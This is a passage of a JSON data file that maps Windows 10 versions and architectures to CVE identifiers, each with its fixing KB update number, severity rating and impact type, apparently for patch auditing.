Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601345\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000822\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004947\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005568\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006672\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015811\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014692\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013941\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034127\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029247\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025229\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028168\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032196\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031361\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041578\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043050\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048661\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044277\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050008\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055519\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060531\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066586\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062557\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063877\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1903 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4517389\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1903 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4517389\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1903 for x64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503293\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4517389\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"}],\"Windows 10 Version 1909 for 32-bit Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003635\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601315\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009545\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601315\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000808\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005566\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1909 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003635\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601315\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009545\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601315\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000808\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005566\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1909 for x64-based Systems\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530684\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4528760\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540673\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0796\",\"kb\":\"4551762\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556799\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1313\",\"kb\":\"4560960\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565351\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003169\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003635\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601315\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009545\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601315\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000808\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001337\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005566\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006667\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 2004 for 32-bit Systems\":[{\"cve\":\"CVE-2020-1313\",\"kb\":\"4557957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 2004 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-1313\",\"kb\":\"4557957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 2004 for x64-based Systems\":[{\"cve\":\"CVE-2020-1313\",\"kb\":\"4557957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4566782\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 20H2 for 32-bit Systems\":[{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004945\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 20H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003173\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601319\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601319\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004945\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 20H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001330\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004945\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Windows 10 Version 21H1 for 32-bit Systems\":[{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code 